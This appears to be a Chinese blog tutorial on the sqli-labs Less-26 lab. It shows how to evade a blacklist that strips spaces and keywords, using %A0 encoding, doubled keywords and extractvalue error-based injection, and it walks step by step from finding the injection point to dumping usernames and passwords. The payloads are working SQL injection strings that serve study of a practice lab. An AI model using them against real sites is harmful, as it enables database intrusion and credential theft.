MySQL-空格过滤绕过

绕过手段

1.使用+号代替空格

2.使用URL编码代替空格

Spaces ------------------%20

TAB 09 horizontal TAB --------%09

LF OA newline ----------------%0A

FF 0C new page ----------------%0C

CR 0D carriage return ----------%0B

-OA-(MySQL only)---------------%A0

#案例演示 (URL编码绕过)

sqli-labs-master/Less-26/

查看源码

做了一个黑名单的过滤,从代码中可以看出过滤的非常的严格了

1.判断是否有注入点 

首先我们在url给一个参数

页面回显正常

 

随便丢一个符号进行页面报错

''1'' LIMIT 0,1' at line 1 

'1'' LIMIT 0,1

单引号为我们输入的内容

确定闭合方式'单引号闭合

url:?id=1' and 1=1 #

从页面给我们回显的情况来看,我们输入的空格和and 和#号都被过滤掉了

本来我们输入的是1'and 1=1#

到数据就变成了

1'1=1

绕过思路:

空格替换成url的编码:%A0

and我们采用双写绕过: anandd

注释符我们替换成手工闭合的方式:使用'闭合

未使用url原语句:

?id=1'  anandd '1'='1

url绕过语句:

?id=1'%A0anandd%A0'1'='1

页面正常

从蓝色部分可以看出,我们输入url的 空格语句被带入进去了 

未使用url原语句:

?id=1'  anandd '1'='2

url绕过语句:

?id=1'%A0anandd%A0'1'='2

页面报错存在注入点

2.确定字段数 

 sqli-labs-master/Less-26这一关还是使用group by 不断输入多长的字段依旧正常回显

我们依旧使用union select 1,2,3,4....这种方式来查询字段

 url:?id=1'%A0union%A0select%A01,2%A0anandd%A0'1'='1

页面报错 

 url:?id=1'%A0union%A0select%A01,2,3%A0anandd%A0'1'='1

当尝试到3的时候页面正常回显。

确定一共三个字段

3.确定显示的字段数

url: ?id=-1'%A0union%A0select%A01,2,3%A0anandd%A0'1'='1

我们从蓝色部分显示的字段来看,他把我们输入的-号给过滤了

我们原来是?id=-1

被他过滤后?id=1 

使得我们看不懂显示的字段

 

 url: ?id=0'%A0union%A0select%A01,2,3%A0anandd%A0'1'='1

既然把-号给过滤了,那我们就写0

带入数据库执行,页面正常回显

确定显示在页面的字段1,2

4.确定数据库名

?id=0'%A0union%A0select%A01,(database()),3%A0anandd%A0'1'='1

页面回显数据库名未security 

5.获取数据表 

url:     

?id=0'%A0union%A0select%A01,(select%A0group_concat(table_name)
from%A0infoorrmation_schema.tables%A0where%A0table_schema=database()),
3%A0anandd%A0'1'='1

  

确定数据表为

emails,referers,uagents,users

6.获取users数据表的所有字段 

url:

?id=0'%A0union%A0select%A01,(select%A0group_concat(column_name)
from%A0infoorrmation_schema.columns%A0where%A0table_schema=database()%A0ANandD%A0table_name='users'),
3%A0anandd%A0'1'='1

字段为

id,username,password

 7.拖库

url:

?id=0'%A0union%A0select%A01,(select%A0group_concat(username,'^^',passwoorrd)from%A0security.users),3%A0ANANDD'1'='1

 在有些场景下,空格还是过滤的十分严格我们没有办法突然,我们就可以使用报错注入,不写空格去绕过

#案例演示 (报错注入绕过)

sqli-labs-master/Less-26/

获取数据库

?id=0'||extractvlue('~',concat(database()))||'1'='1

解析

写一个不存在的id使用or去判断,当后面的条件满足的时返回,最后使用||'1'='1进行闭合

||'1'='1=or '1'='1只是为了闭合!!!!

 当前数据库为security

获取数据表名

?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))
from(infoorrmation_schema.tables)where(table_schema=database()))))||'1'='1

这里注意不能使用空格,一定要把空格的地方用括号进行替代

 

 '~emails,referers,uagents,users'

为数据表

获取users数据表的字段信息

?id=0'||extractvalue(1,concat('~',(select(group_concat(column_name))
from(infoorrmation_schema.columns)where(table_schema=database())
anandd(table_name='users'))))||'1'='1

 

 id,username,password' 

三个字段

拖库

?id=0'||extractvalue(1,concat('~',

(substr((select(group_concat(username,':',passwoorrd))from(security.users)),1,30))))||'1'='1

 

 Mysql基本知识-报错注入之extractvalue注入_extractvalue mysql_DDosG的博客-CSDN博客

报错注入参考

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/130066387